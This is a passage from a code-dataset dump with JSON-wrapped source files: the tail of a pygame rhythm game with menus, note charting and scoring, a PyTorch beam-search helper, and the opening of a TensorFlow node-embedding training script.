bold=True)\n text = font.render(\"Rhythm Game Start Menu\", True, colorSampleDict[\"skyblue\"])\n screen.blit(text, (450, 200))\n eventA = self.mouseOnButton(\"start\", 450, 500)\n eventB = self.mouseOnButton(\"quit\", 1070, 500)\n if eventA == \"start\":\n return \"musicChoice\"\n elif eventB == \"quit\":\n return \"gameEnd\"\n\nclass MusicChoiceController(): \n def __init__(self): \n dao = frw.DAO()\n self.musicList = dao.getMusicData()\n self.index = 0\n self.selectedIndex = 0\n self.arr = []\n \n def listOnScreen(self):\n FONT = pygame.font.Font(None,40) \n self.arr = []\n\n for i in range(5):\n self.arr.append(len(self.musicList[self.index + i].getMusicName()))\n\n screen = pygame.display.get_surface()\n \n for i in range(5):\n pygame.draw.rect(screen, colorSampleDict[\"white\"], (30, 150 + (i * 100), 70 + self.arr[i] * 14, 50)) \n pygame.draw.rect(screen, colorSampleDict[\"skyblue\"], (30, 150 + (i * 100), 70 + self.arr[i] * 14, 50), 5) \n musicName = FONT.render(self.musicList[self.index + i].getMusicName(),True, colorSampleDict[\"black\"])\n screen.blit(musicName,[40, 160 + (i * 100)])\n\n def clickEventCheck(self):\n if pygame.mouse.get_pressed()[0]:\n mouseX, mouseY = pygame.mouse.get_pos()\n for i, length in enumerate(self.arr):\n if mouseX in range(30, 70 + length * 14):\n if mouseY in range(150 + (i * 100), 200 + (i * 100)):\n self.selectedIndex = self.index + i\n \n def musicOnScreen(self): \n vo = self.musicList[self.selectedIndex]\n FONT = pygame.font.Font(None,100)\n screen = pygame.display.get_surface()\n\n x = 1600 - (len(vo.getMusicName()) * 35)\n pygame.draw.rect(screen, colorSampleDict[\"white\"], (x, 150, 175 + len(vo.getMusicName()) * 35, 100)) \n pygame.draw.rect(screen, colorSampleDict[\"skyblue\"], (x, 150, 175 + len(vo.getMusicName())* 35, 100), 5) \n musicName = FONT.render(vo.getMusicName(),True, colorSampleDict[\"black\"])\n screen.blit(musicName,[x + 10, 160])\n\n FONT = pygame.font.Font(None,40)\n x = 1700 - (len(vo.getAuthorName()) * 14)\n pygame.draw.rect(screen, colorSampleDict[\"white\"], (x, 300, 70 + len(vo.getAuthorName()) * 14, 50)) \n pygame.draw.rect(screen, colorSampleDict[\"skyblue\"], (x, 300, 70 + len(vo.getAuthorName()) * 14, 50), 5) \n authorName = FONT.render(vo.getAuthorName(),True, colorSampleDict[\"black\"])\n screen.blit(authorName,[x + 10, 310]) \n\n score = str(vo.getScore())\n if len(score) <= 7:\n score = (\"0\" * (7 - len(score))) + score\n x = 1700 - len(score) * 14\n pygame.draw.rect(screen, colorSampleDict[\"white\"], (x, 550, 70 + len(score) * 14, 50)) \n pygame.draw.rect(screen, colorSampleDict[\"skyblue\"], (x, 550, 70 + len(score) * 14, 50), 5) \n score = FONT.render(score,True, colorSampleDict[\"black\"])\n screen.blit(score,[x + 10, 560])\n \n def isMouseScrolled(self):\n for event in pygame.event.get():\n if event.type == pygame.MOUSEWHEEL:\n if event.y > 0:\n if self.index > 0:\n self.index -= 1\n if self.index > 5:\n self.index = 0\n else:\n pass\n elif event.y < 0:\n if self.index < len(self.musicList) - 5: \n self.index += 1\n else:\n self.index = len(self.musicList) - 5\n\n def playButtonAndPlusButton(self):\n screen = pygame.display.get_surface()\n pygame.draw.rect(screen, colorSampleDict[\"white\"], (30, 800, 175, 100)) \n pygame.draw.rect(screen, colorSampleDict[\"skyblue\"], (30, 800, 175, 100), 5) \n pygame.draw.line(screen, colorSampleDict[\"skyblue\"], (87, 850), (147, 850), 5)\n pygame.draw.line(screen, colorSampleDict[\"skyblue\"], (117, 825), (117, 875), 5)\n\n pygame.draw.rect(screen, colorSampleDict[\"white\"], (1770 - 175, 800, 175, 100)) \n pygame.draw.rect(screen, colorSampleDict[\"skyblue\"], (1770 - 175, 800, 175, 100), 5) \n FONT = pygame.font.Font(None,80)\n play = FONT.render(\"play\",True, colorSampleDict[\"skyblue\"])\n screen.blit(play, [1770 - 175 + 20, 800 + 15])\n \n def playButtonEvent(self):\n if pygame.mouse.get_pressed()[0]:\n mouseX, mouseY = pygame.mouse.get_pos()\n if mouseX in range(1770 - 175, 1770) and mouseY in range(800, 800 + 100):\n return \"play\"\n\n def plusButtonEvent(self):\n if pygame.mouse.get_pressed()[0]:\n mouseX, mouseY = pygame.mouse.get_pos()\n if mouseX in range(30, 30 + 175) and mouseY in range(800, 800 + 100):\n print(\"clickplusButton\")\n status = self.prompt()\n if status == \"addTrack\":\n return status\n \n def prompt(self):\n url = pyautogui.prompt(\"EX) www.youtube.com/watch?v=....\", title=\"Enter The URL\", default=\"\")\n if url != None or url != \"\":\n vd = frw.VideoDownloader()\n status = vd.download(url)\n if status == \"urlError\":\n a = pyautogui.alert(\"Invalid URL\", title=\"Alert\")\n elif status == \"runningException\" or status == \"fail\":\n a = pyautogui.alert(\"Download Fail\", title=\"Alert\")\n elif status == \"success\":\n a = pyautogui.alert(\"Dowonload Complete\\nYou will be taken to add track screen\", title=\"Alert\")\n return \"addTrack\"\n \n def returnMusicVO(self):\n return self.musicList[self.selectedIndex]\n \n def mainFuntion(self):\n self.listOnScreen()\n self.isMouseScrolled()\n self.playButtonAndPlusButton()\n self.musicOnScreen()\n self.clickEventCheck()\n pBE = self.playButtonEvent()\n if pBE == \"play\":\n return pBE\n status = self.plusButtonEvent()\n if status == \"addTrack\":\n return status\n return \"none\"\n \nclass GameController():\n def __init__(self, *args):\n self.state = 1 \n self.fps = 60\n self.hpAndScore = None\n self.musicVO = args[0]\n self.boxArr = [] # \n self.noteArr = [[], [], [], []]\n self.notes = []\n self.events = None\n self.keys = None\n self.dao = frw.DAO()\n self.endEvent = None\n \n def start(self):\n pygame.mixer.music.load(frw.getFilePath(self.musicVO.getMusicPath(), \"mp3\"))\n self.hpAndScore = HpAndScore()\n \n for i in range(4):\n self.boxArr.append(ClickBox(i))\n \n self.getNotes()\n \n pygame.mixer.music.play()\n self.endEvent = pygame.USEREVENT + 1\n pygame.mixer.music.set_endevent(self.endEvent)\n self.state += 1\n \n def playing(self):\n try:\n self.getKeysAndEvents()\n self.createNoteArr()\n screen = pygame.display.get_surface()\n for event in pygame.event.get(): \n if event.type == pygame.KEYUP:\n for obj in self.boxArr:\n obj.clickCountReset(event.key)\n for i, obj in enumerate(self.boxArr):\n if obj.checkBoxEvent(self.keys):\n if len(self.noteArr[i]) > 0:\n status = self.noteArr[i][0].checkHeightForScore(obj.clickBoxIndexY, obj.height)\n del self.noteArr[i][0]\n self.hpAndScore.calcScore(status)\n else:\n self.hpAndScore.decreaseHp() \n else:\n pass\n for i, track in enumerate(self.noteArr): \n for obj in track:\n pygame.draw.rect(screen, obj.getBoxColor(), obj.getBoxPos())\n outScreen = obj.moveDown(self.fps)\n if outScreen:\n del self.noteArr[i][0] \n self.hpAndScore.decreaseHp() \n self.hpAndScore.resetCombo()\n else:\n pass \n \n for obj in self.boxArr:\n pygame.draw.rect(screen, obj.getBoxColor(), obj.getBoxPos(), obj.getBoxBorder())\n obj.resetAfterFrame()\n \n self.hpAndScore.createHpBoxWithGradient(screen, colorSampleDict[\"red\"], colorSampleDict[\"yellow\"], pygame.Rect(10, 10, 300, 30))\n self.hpAndScore.scoreOnScreen()\n self.hpAndScore.comboOnScreen()\n \n self.gameOverCheck()\n self.gameEndCheck()\n except Exception as e:\n print(e)\n \n def showScore(self):\n screen = pygame.display.get_surface()\n font = pygame.font.SysFont(\"arial\", 100, bold=True, italic=False)\n text1 = font.render(\"Congratulations!\", True, colorSampleDict[\"white\"])\n font = pygame.font.SysFont(\"arial\", 50, bold=True, italic=False)\n text2 = font.render(\"return\", True, colorSampleDict[\"white\"])\n text3 = font.render(self.hpAndScore.getScore(), True, colorSampleDict[\"white\"])\n screen.blit(text1, (1920 / 2 - 300, 1080 / 4))\n screen.blit(text2, (int((1920 / 2) - 30), int((1080 / 4) * 3)))\n screen.blit(text3, (1920 / 2 - 50, 1080 / 2))\n if pygame.mouse.get_pressed()[0]:\n mouseX, mouseY = pygame.mouse.get_pos()\n if int(mouseX) in range(920, 1060) and int(mouseY) in range(820, 860):\n return \"backToChoice\"\n\n def gameEndCheck(self):\n if not pygame.mixer.music.get_busy() and not self.hpAndScore.isGameEnd():\n self.state = 3\n print(self.dao.updateScoreData(self.musicVO.getMusicNum(), self.hpAndScore.score))\n \n def gameOver(self):\n screen = pygame.display.get_surface()\n font = pygame.font.SysFont(\"arial\", 100, bold=True, italic=False)\n text1 = font.render(\"Game Over\", True, colorSampleDict[\"white\"])\n font = pygame.font.SysFont(\"arial\", 50, bold=True, italic=False)\n text2 = font.render(\"return\", True, colorSampleDict[\"white\"])\n screen.blit(text1, (1920 / 2 - 200, 1080 / 4))\n posX, posY = int((1920 / 2) - 30), int((1080 / 4) * 3)\n screen.blit(text2, (posX, posY))\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pass\n if event.type == pygame.MOUSEBUTTONDOWN and event.button == 1:\n mouseX, mouseY = pygame.mouse.get_pos()\n if int(mouseX) in range(920, 1060) and int(mouseY) in range(820, 860):\n return \"backToChoice\"\n if pygame.mouse.get_pressed()[0]:\n mouseX, mouseY = pygame.mouse.get_pos()\n if int(mouseX) in range(920, 1060) and int(mouseY) in range(820, 860):\n return \"backToChoice\"\n \n def getKeysAndEvents(self):\n self.keys = pygame.key.get_pressed()\n self.events = pygame.event.get()\n \n def getNotes(self):\n self.notes = self.dao.getNoteData(self.musicVO.getMusicNum())\n \n def createNoteArr(self):\n playTime = pygame.mixer.music.get_pos()\n deleteNoteArr = []\n for note in self.notes:\n ms, tracks = note.split(\":\")\n if int(ms) <= playTime: \n deleteNoteArr.append(note)\n for track in tracks:\n self.noteArr[int(track) - 1].append(Note(int(track) - 1, colorSampleDict[\"note\"]))\n self.deleteNote(deleteNoteArr)\n \n def deleteNote(self, notes):\n for note in notes:\n self.notes.remove(note)\n \n def gameOverCheck(self):\n if self.hpAndScore.isGameEnd():\n pygame.mixer.music.stop()\n self.state = 4\n \n def mainFunction(self):\n if self.state == 1: \n self.start() \n elif self.state == 2:\n self.playing()\n elif self.state == 3: \n event = self.showScore()\n if event == \"backToChoice\":\n return event\n elif self.state == 4: \n event = self.gameOver()\n if event == \"backToChoice\":\n return event\n else:\n pass\n \nclass ClickBox():\n def __init__(self, railNum):\n self.railNum = railNum \n self.width = 100 \n self.height = 50 \n self.isClicked = False \n self.border = 5 \n self.boxColor = colorSampleDict[\"white\"]\n self.clickBoxIndexY = 1080 - int(1080 * 0.2) \n self.clickCount = 0\n self.clickBoxIndexX = getXIndexWithRailNum(self.railNum, self.width)\n if railNum == 0:\n self.eventKey = pygame.K_s\n elif railNum == 1:\n self.eventKey = pygame.K_d\n elif railNum == 2:\n self.eventKey = pygame.K_k\n elif railNum == 3:\n self.eventKey = pygame.K_l\n else:\n self.eventKey = pygame.K_s\n \n def resetAfterFrame(self): \n self.isClicked = False\n self.boxColor = colorSampleDict[\"white\"]\n \n def checkBoxEvent(self, key): \n if key[self.eventKey] == 1:\n self.isClicked = True\n self.boxColor = colorSampleDict[\"gray\"]\n self.clickCount += 1\n if self.clickCount == 1:\n return True\n else:\n return False\n else: # 수정본\n self.clickCount = 0\n \n def clickCountReset(self, key):\n if key == self.eventKey:\n self.clickCount = 0\n \n def getBoxColor(self):\n return self.boxColor\n \n def getBoxPos(self): \n return (self.clickBoxIndexX, self.clickBoxIndexY, self.width, self.height)\n \n def getBoxBorder(self):\n return self.border \n \n def getEventState(self):\n return self.isClicked\n\nclass Note():\n def __init__(self, railNum, boxColor):\n self.railNum = railNum \n self.width = 100 \n self.height = 50 \n self.boxColor = boxColor \n self.noteIndexY = 0 - self.height \n self.noteIndexX = getXIndexWithRailNum(railNum, self.width) \n self.boxSpeed = 300 \n\n def moveDown(self, fps):\n self.noteIndexY = self.noteIndexY + int(self.boxSpeed / fps)\n return self.getIsNoteOutOfScreen()\n \n def getIsNoteOutOfScreen(self):\n if self.noteIndexY >= 1080:\n return True\n else:\n return False\n \n def checkHeightForScore(self, clickBoxIndexY, clickBoxHeight):\n boxY1 = clickBoxIndexY\n boxY2 = clickBoxIndexY + clickBoxHeight\n Y1 = self.noteIndexY\n Y2 = self.noteIndexY + self.height\n if Y1 >= boxY1 - int(clickBoxHeight * 0.2) and Y2 <= boxY2 + int(clickBoxHeight * 0.2):\n return \"Excellent\"\n elif Y1 >= boxY1 - int(clickBoxHeight * 0.4) and Y2 <= boxY2 + int(clickBoxHeight * 0.4):\n return \"Great\"\n elif Y1 >= boxY1 - int(clickBoxHeight * 0.6) and Y2 <= boxY2 + int(clickBoxHeight * 0.6):\n return \"Good\"\n else:\n return \"Miss\"\n \n def getBoxColor(self): \n return self.boxColor\n \n def getBoxPos(self): \n return (self.noteIndexX, self.noteIndexY, self.width, self.height)\n \nclass HpAndScore():\n def __init__(self):\n self.hp = 100\n self.score = 0\n self.combo = 0\n \n def resetValueAfterGameEnd(self):\n self.__init__\n \n def decreaseHp(self):\n self.hp -= 5\n if self.hp <= 0:\n self.hp = 0 \n \n def calcScore(self, state):\n value = 0\n if state == \"Excellent\":\n value = 50\n elif state == \"Great\":\n value = 20\n elif state == \"Good\":\n value = 10\n elif state == \"Miss\":\n value = 0\n else:\n value = 0\n if value == 0:\n self.decreaseHp()\n self.combo = 0\n else:\n self.combo += 1\n self.score += value + self.combo\n \n def getHpAndScore(self):\n return f\"HP : {self.hp} | SCORE : {self.score}\"\n \n def getHp(self):\n return self.hp\n \n def isGameEnd(self):\n if self.hp <= 0:\n return True\n else:\n return False\n \n def getScore(self):\n score = str(self.score)\n if len(score) <= 7:\n score = (\"0\" * (7 - len(score))) + score\n return score\n \n def scoreOnScreen(self):\n screen = pygame.display.get_surface()\n font = pygame.font.SysFont(\"arial\", 30, bold=True, italic=False)\n score = str(self.score)\n if len(score) <= 7:\n score = (\"0\" * (7 - len(score))) + score\n text = font.render(score, True, colorSampleDict[\"white\"])\n screen.blit(text, (1800, 10))\n \n def comboOnScreen(self):\n screen = pygame.display.get_surface()\n if self.combo != 0:\n font = pygame.font.SysFont(\"arial\", 40, bold=True, italic=False)\n text = font.render(str(self.combo), True, colorSampleDict[\"white\"])\n combo = font.render(\"COMBO\", True, colorSampleDict[\"white\"])\n screen.blit(combo, (1920 / 2 - 50, 1080 / 2 - 50))\n screen.blit(text, (1920 / 2, 1080 / 2))\n \n def resetCombo(self):\n self.combo = 0\n \n def createHpBoxWithGradient(self, screen, left_color, right_color, target_rect):\n color_rect = pygame.Surface((2, 2))\n pygame.draw.line(color_rect, left_color, (0, 0), (0, 1))\n pygame.draw.line(color_rect, right_color, (1, 0), (1, 1))\n color_rect = pygame.transform.smoothscale(color_rect, (target_rect.width, target_rect.height))\n screen.blit(color_rect, target_rect)\n pygame.draw.rect(screen, colorSampleDict[\"black\"], (10 + int(target_rect.width * (self.getHp() / 100)), 10, 300, 30))\n pygame.draw.rect(screen, colorSampleDict[\"white\"], target_rect, 5) \n pass\n \nclass AddTrackController():\n def __init__(self):\n self.musicVO = None\n self.noteArr = [] \n self.keys = []\n self.status = 1\n self.clicked = [False, False, False, False]\n self.clickedTime = [0, 0, 0, 0]\n self.keyDict = {\n 0 : \"S\",\n 1 : \"D\",\n 2 : \"K\",\n 3 : \"L\"\n }\n self.dao = frw.DAO()\n \n def setting(self, musicVO):\n self.musicVO = musicVO\n try:\n pygame.mixer.music.load(frw.getFilePath(self.musicVO.getMusicPath(), \"mp3\"))\n except Exception as e:\n print(e)\n pygame.mixer.music.play()\n self.status = 2\n\n def musicPlaying(self):\n self.keys = pygame.key.get_pressed()\n self.pressedButtonCheck()\n self.clickBoxOnScreen()\n self.appendNote()\n self.clicked = [False, False, False, False]\n if not pygame.mixer.music.get_busy():\n self.status = 3\n\n def saveData(self): \n self.dao.addNoteData({\"musicNum\" : self.musicVO.getMusicNum(), \"note\" : self.noteArr})\n print(self.noteArr)\n return \"returnChoice\"\n \n def clickBoxOnScreen(self):\n y, w, h = 500, 250, 125\n screen = pygame.display.get_surface()\n for i, value in enumerate(self.clicked):\n x = 310 + (i * 250) + (i * 100)\n if value:\n pygame.draw.rect(screen, colorSampleDict[\"gray\"], (x, y, w, h))\n else:\n pygame.draw.rect(screen, colorSampleDict[\"white\"], (x, y, w, h))\n pygame.draw.rect(screen, colorSampleDict[\"skyblue\"], (x, y, w, h), 10)\n font = pygame.font.SysFont(\"arial\", 50, bold=True, italic=False)\n text = font.render(self.keyDict[i], True, colorSampleDict[\"black\"])\n screen.blit(text, (x + 115, y + 30))\n \n def pressedButtonCheck(self):\n if self.keys[pygame.K_s] == 1:\n self.clicked[0] = True\n self.clickedTime[0] += 1\n elif self.keys[pygame.K_s] != 1:\n self.clickedTime[0] = 0\n \n if self.keys[pygame.K_d] == 1:\n self.clicked[1] = True\n self.clickedTime[1] += 1\n elif self.keys[pygame.K_d] != 1:\n self.clickedTime[1] = 0 \n \n if self.keys[pygame.K_k] == 1:\n self.clicked[2] = True\n self.clickedTime[2] += 1\n elif self.keys[pygame.K_k] != 1:\n self.clickedTime[2] = 0 \n \n if self.keys[pygame.K_l] == 1:\n self.clicked[3] = True\n self.clickedTime[3] += 1\n elif self.keys[pygame.K_l] != 1:\n self.clickedTime[3] = 0 \n \n def appendNote(self):\n text = \"\"\n for i, value in enumerate(self.clicked):\n if value and self.clickedTime[i] == 1:\n text += f\"{i + 1}\"\n if text != \"\": \n self.noteArr.append(f\"{pygame.mixer.music.get_pos()}:{text}\")\n \n def mainFunction(self):\n if self.status == 1:\n self.setting()\n elif self.status == 2:\n self.musicPlaying()\n elif self.status == 3:\n status = self.saveData()\n if status == \"returnChoice\":\n return status\n else:\n pass\n \ndef getXIndexWithRailNum(railNum, width):\n if railNum == 0:\n return int(1920 / 2) - int(width * 2)\n elif railNum == 1:\n return int(1920 / 2) - width\n elif railNum == 2:\n return int(1920 / 2)\n elif railNum == 3:\n return int(1920 / 2) + width\n else:\n return int(1920 / 2) - int(width * 2)\n\n\ncolorSampleDict = {\n \"white\" : (255, 255, 255),\n \"black\" : (0, 0, 0),\n \"red\" : (255, 0, 0),\n \"green\" : (0, 255, 0),\n \"blue\" : (0, 0, 255),\n \"orange\" : (255, 140, 0),\n \"yellow\" : (255, 255, 0),\n \"purple\" : (255, 0, 255),\n \"gray\" : (162, 162, 162),\n \"note\" : (19, 115, 209),\n \"skyblue\" : (135, 206, 235),\n \"\" : (0, 0, 0)\n} \n\ndef main():\n try:\n pygame.init()\n pygame.mixer.init()\n pygame.font.init()\n \n screen_width = 1920\n screen_height = 1080\n screen = pygame.display.set_mode((screen_width, screen_height), pygame.FULLSCREEN)\n pygame.display.set_caption(\"Rhythm\")\n \n clock = pygame.time.Clock()\n fps = 60\n \n\n controller = Controller()\n \n isRunning = True \n \n while isRunning:\n clock.tick(fps)\n screen.fill(colorSampleDict[\"black\"])\n events = pygame.event.get()\n for event in events:\n if event.type == pygame.QUIT:\n isRunning = False\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n isRunning = False\n \n controller.mainFunction()\n \n pygame.display.update()\n \n except Exception as e:\n print(\"def main Error\")\n print(e)\n finally:\n print(\"Game End\")\n pygame.quit()\n sys.exit()\n \n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"choiht0904/Rhythm-Game","sub_path":"Rhythm/RhythmGame.py","file_name":"RhythmGame.py","file_ext":"py","file_size_in_byte":27420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72236126452","text":"import torch\n\n\ndef beam_initial(out, beam):\n # out: (batch, 1, dec_vocab)\n probs, indics = out[:,-1,:].topk(beam, dim=-1)\n # (batch, beam)\n return indics.unsqueeze(-1), torch.log(probs)\n\ndef beam_search(out, preds, scores, beam):\n bs = scores.shape[0]\n # out: (batch*beam, 1, dec_vocab)\n # preds: (batch, beam, t), scores: (batch, beam)\n probs, indics = out[:,-1,:].topk(beam, dim=-1)\n # probs, indics: (batch*beam, beam)\n probs = probs.view(bs, beam, beam)\n indics = indics.view(bs, beam, beam)\n # (batch, beam, beam)\n scores = scores.unsqueeze(-1) + torch.log(probs)\n # (batch, beam, beam)\n scores, b_indics = scores.view(bs, -1).topk(beam, dim=-1)\n # scores: (batch, beam), (batch, beam)\n b_row, b_col = b_indics.div(beam).long(), b_indics.fmod(beam).long()\n batch = torch.arange(bs).unsqueeze(1).repeat(1, beam).view(-1)\n index = indics[batch, b_row.view(-1), b_col.view(-1)].long()\n # index: (batch*beam,)\n preds = preds[batch, b_row.view(-1), :].view(bs, beam, -1)\n preds = torch.cat([preds, index.view(bs, beam, 1)], dim=-1)\n return preds, scores\n\n\nif __name__ == '__main__':\n from torch.nn import functional as F\n\n n_steps, n_batch, n_vocab, n_beam = 5, 2, 3, 2\n for t in range(n_steps):\n batch_size = n_batch if t == 0 else n_batch*2\n out = F.softmax(torch.randn(batch_size, 1, n_vocab), dim=-1)\n print(out)\n if t == 0:\n preds, scores = beam_initial(out, n_beam)\n else:\n preds, scores = beam_search(out, preds, scores, n_beam)\n print(preds)\n print(preds)\n","repo_name":"chengui/torch-nmt","sub_path":"nmt/model/beam_decoder.py","file_name":"beam_decoder.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"28096878322","text":"import sys\nimport argparse\nimport os\nimport time\nimport dataHandler as dh\nimport utility\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.contrib.tensorboard.plugins import projector\n\n\ndef createLogDirectories(log_dir):\n\ttimestamp = int(time.time())\n\tmain_dir = os.path.join(log_dir, str(timestamp))\n\ttrain_log_dir = os.path.join(main_dir,\"train\")\n\tcheckpoint_dir = os.path.join(main_dir,\"checkpoints\")\n\tutility.makeDir(train_log_dir)\n\tutility.makeDir(checkpoint_dir)\n\treturn {\"main_dir\": main_dir, \"train_log_dir\": train_log_dir, \"checkpoint_dir\": checkpoint_dir}\n\ndef createTrainingGraph(vocabulary_size, embedding_size, nce_sample_size, learning_rate = 1.0):\n\tgraph = tf.Graph()\n\twith graph.as_default():\n\t\tinp_x = tf.placeholder(shape=[None], dtype=tf.int32, name=\"inp_x\")\n\t\tinp_y = tf.placeholder(shape=[None, 1], dtype=tf.int32, name=\"inp_y\") # \"1\" since nce_loss takes labels of size (batch, num_correct)\n\t\tembeddings = tf.Variable(tf.random_uniform([vocabulary_size,embedding_size], -1.0, 1.0), dtype=tf.float32, name=\"embeddings\")\n\t\tembed = tf.nn.embedding_lookup(embeddings, inp_x,name=\"embedding_lookup\")\n\t\tw_nce = tf.Variable(tf.truncated_normal([vocabulary_size, embedding_size], -0.1, 0.1), dtype=tf.float32, name=\"nce_w\")\n\t\tb_nce = tf.Variable(tf.zeros([vocabulary_size]), dtype=tf.float32, name=\"nce_b\")\n\t\t# logits = tf.nn.xw_plus_b(embed, w, b)\n\t\tloss = tf.reduce_mean(tf.nn.nce_loss(w_nce, b_nce, \n\t\t\t\t\t\t\t\tlabels=inp_y, inputs=embed, \n\t\t\t\t\t\t\t\tnum_sampled=nce_sample_size, \n\t\t\t\t\t\t\t\tnum_classes = vocabulary_size), name=\"loss\")\n\t\tloss_summary = tf.summary.scalar(\"loss_summary\", loss)\n\t\toptimizer = tf.train.GradientDescentOptimizer(learning_rate)\n\t\tgrads = optimizer.compute_gradients(loss)\n\t\tgradHist=[]\n\t\tfor g,v in grads:\n\t\t\tif g is not None:\n\t\t\t\tgs = tf.summary.histogram(\"{}/grads/hist\".format(v.name),g)\n\t\t\t\tgradHist.append(gs)\n\t\tgradSummary = tf.summary.merge(gradHist)\n\t\toptimize = optimizer.apply_gradients(grads)\n\t\ttrain_summary = tf.summary.merge([gradSummary, loss_summary])\n\n\treturn {\"graph\":graph, \"inp_x\": inp_x, \"inp_y\":inp_y, \"embeddings\": embeddings, \"loss\":loss,\n\t\t\t\"optimizer\": optimizer, \"optimize\": optimize,\"loss_summary\":loss_summary, \"gradSummary\":gradSummary, \n\t\t\t\"train_summary\": train_summary}\n\ndef executeTrainingGraph(graphVars, logdirs, dataset, batch_size, window_size, num_epochs, summary_frequency, num_checkpoints):\n\tgraph = graphVars['graph']\n\tsummary_directory = logdirs['train_log_dir']\n\tcheckpoint_dir = logdirs['checkpoint_dir']\n\t\n\twalk_length = len(dataset[0])\n\ttrain_batches = dh.BatchGenerator(dataset, batch_size, window_size)\n\tactual_batch_size = train_batches.getResultantBatchSize()\n\t# since walk_length iters required for current batch of cursors to move to next record.\n\t# so we call walk length / batch size calls for processing entire dataset. Multiply num_epochs for several \n\t# epochs on entire dataset.\n\tnum_iters = (len(dataset) * num_epochs * walk_length) // batch_size\n\tprint(\"Will run for {} iterations\".format(num_iters))\n\n\twith tf.Session(graph=graph) as session:\n\t\tsaver = tf.train.Saver(tf.global_variables(), max_to_keep = num_checkpoints)\n\t\tsummaryWriter = tf.summary.FileWriter(summary_directory, graph=session.graph)\n\t\tsession.run(tf.global_variables_initializer())\n\t\tnet_loss = 0\n\t\tfor i in range(num_iters):\n\t\t\tbatch = train_batches.next_batch()\n\t\t\tfeed_dict={}\n\t\t\tfeed_dict[graphVars['inp_x']] = batch['batch']\n\t\t\tfeed_dict[graphVars['inp_y']] = batch['label']\n\t\t\tloss, _ , train_summary= session.run([graphVars['loss'], graphVars['optimize'], graphVars['train_summary']], feed_dict = feed_dict)\n\t\t\tnet_loss+=loss\n\t\t\tprint(\"step {}/{}: loss: {}\".format(i,num_iters,loss))\n\t\t\tsummaryWriter.add_summary(train_summary,i)\n\t\t\tsummaryWriter.flush()\n\t\t\tif i%summary_frequency==0:\n\t\t\t\tavg_loss = net_loss if i==0 else net_loss/i\n\t\t\t\tprint(\"Average Loss: {}\".format(avg_loss))\n\t\t\t\tpath = saver.save(session, checkpoint_dir, global_step = i)\n\t\t\t\tprint(\"Saved model at {}\".format(path))\n\t\t\t\n\t\t# TODO better visualization\n\t\t# embedding_visualizer_config = projector.ProjectorConfig()\n\t\t# embedding = config.embeddings.add()\n\t\t# embedding.tensor_name = graphVars['embeddings'].name\n\t\t# embedding.metadata_path = os.path.join(summary_directory,'metadata.tsv')\n\t\t# projector.visualize_embeddings(summaryWriter, embedding_visualizer_config)\n\n\"\"\"\noutput embeddings written as :\nnode_id:d1,d2,d3...\n\"\"\"\t\t\ndef printEmbeddings(graphVars, checkpoint_directory, print_only, output_file):\n\tgraph = graphVars['graph']\n\tembeddings = res['embeddings']\n\toutputFilePath = os.path.join(checkpoint_directory,output_file)\n\tif not print_only:\n\t\tprint(\"Will write embeddings in {}\".format(outputFilePath))\n\t\topfile = open(outputFilePath,\"w\")\n\twith tf.Session(graph=graph) as session:\n\t\tsaver = tf.train.Saver(tf.global_variables())\n\t\tckpt = tf.train.get_checkpoint_state(checkpoint_directory)\n\t\tsaver.restore(session, ckpt.model_checkpoint_path)\n\t\tembed = session.run(embeddings)\n\t\tfor i in range(len(embed)):\n\t\t\topstring = str(i)+\":\"+\",\".join([str(x) for x in embed[i]])\n\t\t\tif print_only:\n\t\t\t\tprint(opstring)\n\t\t\telse:\n\t\t\t\topfile.write(opstring+\"\\n\")\n\tif not print_only:\n\t\topfile.close()\n\nif __name__ == \"__main__\":\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument(\"--config-file\", help=\"Config file for the training session\", default=\"./train_config.txt\")\n\tparser.add_argument(\"--input-file\", help=\"Dataset of walks\", required=False)\n\tparser.add_argument(\"--load-embed-from\",help=\"just load pre-trained embeddings from a log directory\", default=None)\n\tparser.add_argument(\"--print-only\",help=\"only print the embeddings, do not write to file\", action='store_true')\n\tparser.add_argument(\"--output-file\", help=\"custom filename for storing embeddings.\", default=\"embeddings.txt\")\n\tparser.add_argument(\"--vocabulary-size\", help=\"vocab size of embeddings.\",type=int, default=10312)\n\targs = parser.parse_args()\n\tconfig = utility.ConfigProvider(args.config_file)\t\n\tembedding_size = config.getOption('embedding_size')\n\tnce_sample_size = config.getOption('nce_sample_size')\n\tbatch_size = config.getOption('batch_size')\n\t# window size is size of one side. So if you want context size of 10, pick 5.\n\twindow_size = config.getOption('window_size')\n\tnum_epochs = config.getOption('num_epochs')\n\tsummary_frequency = config.getOption('summary_frequency')\n\tnum_checkpoints = config.getOption('num_checkpoints')\n\n\tif args.load_embed_from!=None:\n\t\tres = createTrainingGraph(args.vocabulary_size, embedding_size, nce_sample_size)\n\t\tprintEmbeddings(res, args.load_embed_from, args.print_only, args.output_file)\n\t\texit(1)\n\n\tprint(\"Loading dataset\")\n\tds_res = dh.loadDataset(args.input_file, max_rec=-1)\n\tdata_split = config.getOption('data_split')\n\tdataset = ds_res['dataset']\n\tvocabulary_size = ds_res['num_nodes']\n\tds_random_indices = np.arange(len(dataset))\n\tnp.random.shuffle(ds_random_indices)\n\tsplitBound = int(len(dataset)*data_split)\n\tds_random_indices = ds_random_indices[:splitBound]\n\ttrain_dataset = []\n\tfor i in ds_random_indices:\n\t\ttrain_dataset.append(dataset[i])\n\tprint(\"Done.\")\n\n\tprint(\"Learning embeddings from {} % of dataset\".format(data_split*100))\n\tprint(\"Creating log dirs\")\n\tlogdirs = createLogDirectories(config.getOption('log_dir'))\n\tutility.copyFile(args.config_file,os.path.join(logdirs['main_dir'],'train_config.txt'))\n\t# logging on which walk dataset training was done.\n\twith open(os.path.join(logdirs['main_dir'],'meta.txt'),'w') as f:\n\t\tfileAddress={}\n\t\tfileAddress['cwd'] = os.getcwd()\n\t\tfileAddress['walksFile'] = args.input_file \n\t\tfileAddress['num_nodes'] = vocabulary_size\n\t\tf.write(str(fileAddress)+\"\\n\")\n\n\tprint(\"Done\")\n\t# train_batches = 